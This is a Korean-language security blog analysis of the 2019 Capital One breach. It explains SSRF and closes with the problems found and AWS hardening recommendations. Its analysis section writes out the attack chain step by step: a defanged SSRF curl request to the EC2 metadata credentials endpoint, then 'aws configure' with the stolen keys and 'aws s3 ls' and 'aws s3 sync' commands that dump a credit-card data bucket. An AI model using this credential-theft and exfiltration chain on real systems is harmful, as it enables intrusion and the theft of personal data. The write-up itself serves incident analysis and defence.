1. 개요

- 2019.07.29 미국의 금융지주회사인 캐피탈 원(Capital One)이 해킹으로 인해 1억 6000만 명의 고객 개인정보가 유출

- 캐피탈 원은 해킹으로 인해 1억 5000만 달러의 피해가 발생 (당시 환율 기준 약 1773억 원)

- 유출된 개인정보는 2005~2019 초까지 신용카드를 신청한 고객들의 정보로 이름, 주소, 생년월일 등의 신상정보신용 점수 및 한도, 예금 잔액 등의 금융정보가 포함

- 그 외 2016~2018 중 23일간의 거래 내역, 14만명의 사회보장번호, 8만개의 계좌번호도 유출

- 캐피탈 원은 해킹 흔적 발견 직후 수사당국에 신고하였으며, FBI는 용의자로 시애틀에 위치한 IT 기업의 소프트웨어 엔지니어 페이지 톰슨을 검거

- 톰슨은 2016년 AWS에서 시스템 엔지니어로 근무한 이력이 있음

 

1.1 요약

- 공격자는 SSRF 취약점을 이용해 AWS EC2 메타데이터 서비스에 엑세스하여 AWS 액세스 키에 접근

- 대상 애플리케이션이 WAF 뒤에 위치했지만, Bypass가 사용되었거나 WAF가 공격을 차단하도록 구성되지 않았음

- 키를 이용해 공격자는 로컬 디스크에 S3 버킷을 나열 및 동기화하여 버킷에 포함된 모든 데이터에 엑세스가 가능해짐

※ EC2 (Elastic Compute Cloud): 아마존에서 크기 조정이 가능한 컴퓨팅 용량을 제공하는 웹 서비스

※ S3 (Simple Storage Service): 클라우드 공간에 데이터(파일)를 저장하고 사용자에게 제공해 주는 온라인 스토리지 웹 서비스

 S3 버킷(Bucket): S3에서 연관된 객체들(데이터들)을 그룹핑한 최상위 디렉토리

 

1.2 SSRF (Server Side Request Forgery)

- 2021에 발표된 OWASP TOP 10에 신설된 항목 

- 서버 측에서 위조된 요청을 보내도록 하여 일반적으로 사용자들이 접근할 수 없는 내부 자원에 접근하여 악성행위가 가능한 취약점

- 즉, 취약한 서버를 이용하여 공격자가 내부 서버에 원하는 요청을 전송하여 정보를 탈취하는 공격 유형

[사진 1] SSRF 동작 방식

2. 분석

2.1 SSRF를 이용한 AWS 자격 증명 탈취

- AWS에서 작동되는 EC2에서만 메타데이터 서비스(hxxp://169.254.169.254)에 엑세스가 가능함

- 일반적으로 해당 URL은 VM의 IP 주소, AWS 네트워크 내 배치, 호스트 이름 등의 정보를 HTTP API로 제공하며 AWS 클라우드 애플리케이션 개발자에게 매우 유용하게 사용됨

- 공격자는 SSRF를 통해 서버를 자신의 요청에 대한 프록시로 취급하도록 서버를 속여 내부망의 엔드포인트에 엑세스

[사진 2] SSRF

2.2 권한 상승

- 공격자는 위 SSRF 공격 결과와 AWS EC2 서버가 임시 크리덴셜이 포함된 엔드포이트에 엑세스할 수 있다는 지식을 결합하여 다음 URL에 대한 요청을 전송

hxxp://169.254.169.254/iam/security-credentials

- 엔드포인트의 반환 목록 중 “ISRM-WAF-Role”를 통해 엑세스한 서버가 캐피탈 원의 WAF일 것이라고 추측

- 공격자는 "ISRM-WAF-Role”를 이용해 SSRF 공격을 사용하였고, 엔드포인트는 자격 증명 세트를 반환

<요청>
curl hxxp://example.com/?url=hxxp://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role

<응답>
{ 
    AccessKeyId: "<액세스 키>", 
    SecretAccessKey: "<비밀 키>", 
}

- 인스턴스 메타데이터를 통해 연결된 IAM 역할에 대한 AWS 자격 정보를 요청할 때 응답은 다음과 같은 형식을 지님

[사진 3] 요청에 따른 반환 예시

2.1.1 자격 증명 추가

- 공격자는 "aws configure" 명령을 사용해 [사진 3]에서 확인된 자격 증명 데이터를 로컬 AWS CLI에 추가

- 또한, 텍스트 편집기를 이용해 [사진 3]에서 확인된 토큰을 환경변수 또는 ~/.aws/credentials 파일의 aws_session_token에 등록

[사진 4] ~/.aws/credentials 예시

2.3 S3의 데이터에 엑세스

- 자격 증명 추가 후 아래 명령으로 AWS STS를 호출해 자격 증명을 확인하여 올바르게 설정되었는지 확인

- 해당 명령은 사용자 ID, 계정 번호 및 ARN(Amazon 리소스 번호)를 출력함

- 명령: aws sts get-caller-identity –profile example

※ Linux 시스템에서 현재 사용자의 이름을 출력하는 명령어인 whoami 명령

{
    "UserId": "AROA5A6IYBDLAKYYJCQQQ:i-07160cbf7c64abcdef9",
    "Account": "0070074815830",
    "Arn": "arn:aws:sts::0070074815830:assumed-role/ISRM-WAF-Role/i-07160cbf7c64abcdef9"
}

 

- 훔친 키와 토큰으로 AWS CLI를 설정한 후 명령을 통해 계정에서 사용 가능한 S3 버킷을 나열

- 명령: aws s3 ls --profile example

- 공격자는 sync 명령으로 700개 정도의 S3 버킷의 내용을 다운로드

- 명령: aws s3 sync s3://bucket-credit-card-numbers /home/attacker/localstash/capitalone/ --profile example

 

3. 문제점

3.1 조사 중 확인된 문제점

① 사용자 데이터를 처리하는 과정에서 적절한 검증없이 서버에 입력값 전달

- 입력값에 대한 부적절한 검증으로 웹 응용 프로그램에서 SSRF 취약점이 이용됨

 

② 잘못된 구성된 역할 및 권한에 따른 불필요 권한 제공

- ISRM-WAF-Role이 필요하지 않은 상황에도 IAM 자격 증명을 반환함

 

③ 암호화 부재

- AWS S3 데이터 스토리지는 암호화되지 않음

 

④ 모니터링 부재

- IAM 및 AWS STS API 호출과 민감한 데이터 특성을 고려한 S3 읽기/쓰기에 대한 모니터링

 

3.2 보고된 Cloud 취약점

① 클라우드 설정 오류 때문에 발생하는 보안 사고는 아직도 지나치게 많은 수준

> 과도한 권한 부여, 잘못된 보안 설정 등

 

② SSRF는 Cloud 환경에 오래전부터 알려진 위협

> RSA Conference 2015에서 SSRF 취약점을 활용한 API 키 및 자격 증명 데이터 탈취 발표

 

4. 보안 권장 사항

① 각 애플리케이션, EC2 인스턴스 또는 자동 확장 그룹에 고유한 IAM의 존재 확인

> 관련 없는 애플리케이션 간 역할 공유 금지

 

② 과도한 권한 설정 금지

> 필요한 AWS 리소스에만 엑세스할 수 있도록 각 역할의 권한 설정

 

③ 접근 통제

> 허가된 IP 또는 VPC 엔드포인트에 대한 접근 통제

 

④ 모니터링

> 전사 차원의 AWS CloudTail 활성화 여부 점검 및 로그 모니터링

 

5. 참고

[1] https://www.capitalone.com/digital/facts2019/
[2] https://blog.cloudsploit.com/a-technical-analysis-of-the-capital-one-hack-a9b43d7c8aea
[3] https://blog.appsecco.com/an-ssrf-privileged-aws-keys-and-the-capital-one-breach-4c3c2cded3af
[4] https://www.techtarget.com/searchsecurity/news/252467901/Capital-One-hack-highlights-SSRF-concerns-for-AWS
[5] https://www.justice.gov/usao-wdwa/press-release/file/1188626/download
[6] https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/
[7] https://www.itworld.co.kr/news/129854
[8] https://it.chosun.com/site/data/html_dir/2019/07/31/2019073101186.html
[9] https://zdnet.co.kr/view/?no=20190816173209
[10] https://www.boannews.com/media/view.asp?idx=107662

+ Recent posts